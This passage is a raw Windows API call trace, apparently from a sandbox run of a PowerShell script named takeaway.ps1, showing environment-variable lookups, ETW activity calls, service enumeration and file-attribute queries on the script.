lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="ᅈݣ൐ݣᯊ甬ᮺ甬\x02") returned 0x0 [0099.060] CoTaskMemFree (pv=0x744e580) [0099.060] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0099.060] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="ᅈݣ൐ݣᯊ甬ᮺ甬\x02") returned 0x0 [0099.060] CoTaskMemFree (pv=0x744e580) [0099.060] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e6c4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd4, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.060] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e630*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e630*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd3, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.060] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd4, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd4, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.061] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e6c4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd5, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.061] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e630*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e630*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd4, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.061] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd5, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd5, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.061] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e6c4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd6, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.061] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e630*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e630*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd5, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.061] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd6, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd6, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.061] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3291ee8 [0099.062] EnumServicesStatusW (in: hSCManager=0x3291ee8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558 | out: lpServices=0x0, pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558) returned 0 [0099.062] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0099.062] EnumServicesStatusW (in: hSCManager=0x3291ee8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558) returned 1 [0099.065] CoTaskMemFree (pv=0x744e580) [0099.065] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0099.065] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="ᅈݣ൐ݣᯊ甬ᮺ甬\x02") returned 0x0 [0099.065] CoTaskMemFree (pv=0x744e580) [0099.065] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0099.065] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="ᅈݣ൐ݣᯊ甬ᮺ甬\x02") returned 0x0 [0099.065] CoTaskMemFree (pv=0x744e580) [0099.065] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e6c4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd7, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.065] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e630*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e630*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd6, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.065] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd7, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd7, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.065] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e6c4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd8, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.065] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e630*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e630*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd7, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.065] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd8, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd8, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.066] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e6c4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd9, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.066] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e630*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e630*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd8, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.066] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd9, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd9, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.066] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3291ee8 [0099.066] EnumServicesStatusW (in: hSCManager=0x3291ee8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558 | out: lpServices=0x0, pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558) returned 0 [0099.067] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0099.067] EnumServicesStatusW (in: hSCManager=0x3291ee8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558) returned 1 [0099.070] CoTaskMemFree (pv=0x744e580) [0099.070] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0099.070] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="ᅈݣ൐ݣᯊ甬ᮺ甬\x02") returned 0x0 [0099.070] CoTaskMemFree (pv=0x744e580) [0099.070] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0099.070] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="ᅈݣ൐ݣᯊ甬ᮺ甬\x02") returned 0x0 [0099.070] CoTaskMemFree (pv=0x744e580) [0099.070] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e6c4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xda, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.070] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e630*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e630*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xd9, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.070] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xda, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xda, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.070] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e6c4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdb, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.070] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e630*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e630*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xda, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.070] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdb, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdb, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.071] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e6c4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdc, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.071] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e630*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e630*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdb, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.071] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdc, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e6b4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdc, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.071] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3291ee8 [0099.071] EnumServicesStatusW (in: hSCManager=0x3291ee8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558 | out: lpServices=0x0, pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558) returned 0 [0099.072] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0099.072] EnumServicesStatusW (in: hSCManager=0x3291ee8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e560, lpServicesReturned=0x843e55c, lpResumeHandle=0x843e558) returned 1 [0099.146] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0099.146] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="ᅈݣ൐ݣᯊ甬ᮺ甬\x02") returned 0x0 [0099.146] CoTaskMemFree (pv=0x744e580) [0099.167] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843eb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eb90*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdd, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.167] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843eafc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eafc*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x32, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.167] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843eb80*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdd, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843eb80*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdd, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0099.246] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x8b4 [0099.246] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x7d0, cHandles=0x1, pHandles=0x843ea48*=0x8b4, lpdwindex=0x843e864 | out: lpdwindex=0x843e864) returned 0x80010115 [0101.288] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843eb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eb20*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdd, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0101.322] CloseHandle (hObject=0x8b4) returned 1 [0101.323] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843ee8c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843ee8c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xdd, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0101.323] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843eeec*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x23, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843eeec*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x23, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0101.323] CoTaskMemAlloc (cb=0x2cc) returned 0x7631148 [0101.323] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x7631148, nSize=0x164 | out: lpBuffer="殈̪൐ݣ䚐ꞧꑂ\x02") returned 0x0 [0101.323] CoTaskMemFree (pv=0x7631148) [0101.328] QueryPerformanceCounter (in: lpPerformanceCount=0x843ed38 | out: lpPerformanceCount=0x843ed38*=78345984077) returned 1 [0101.328] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0101.328] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x25, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0101.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec6c) returned 1 [0101.328] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1" (normalized: "c:\\users\\fd1hvy\\desktop\\takeaway.ps1"), fInfoLevelId=0x0, lpFileInformation=0x843ece8 | out: lpFileInformation=0x843ece8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d80c6b6, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x6d80c6b6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa0350c92, ftLastWriteTime.dwHighDateTime=0x1d55069, nFileSizeHigh=0x0, nFileSizeLow=0xeb6)) returned 1 [0101.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec68) returned 1 [0101.329] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0101.329] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", nBufferLength=0x25, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\takeaway.ps1", lpFilePart=0x0) returned 0x24 [0101.331] QueryPerformanceCounter (in: lpPerformanceCount=0x843ed00 | out: lpPerformanceCount=0x843ed00*=78346323739) returned 1 [0101.332] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843eefc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eefc*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xe2, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0101.332] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843ee68*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843ee68*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x23, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0101.332] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843eeec*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xe2, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843eeec*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xe2, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0101.332] CoTaskMemAlloc (cb=0x2cc) returned 0x7631148 [0101.332] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x7631148, nSize=0x164 | out: lpBuffer="殈̪൐ݣ䚐ꞧꑂ\x02") returned 0x0 [0101.332] CoTaskMemFree (pv=0x7631148) [0101.436] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843eb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eb90*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xe3, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0101.436] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843eafc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843eafc*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0xe2, 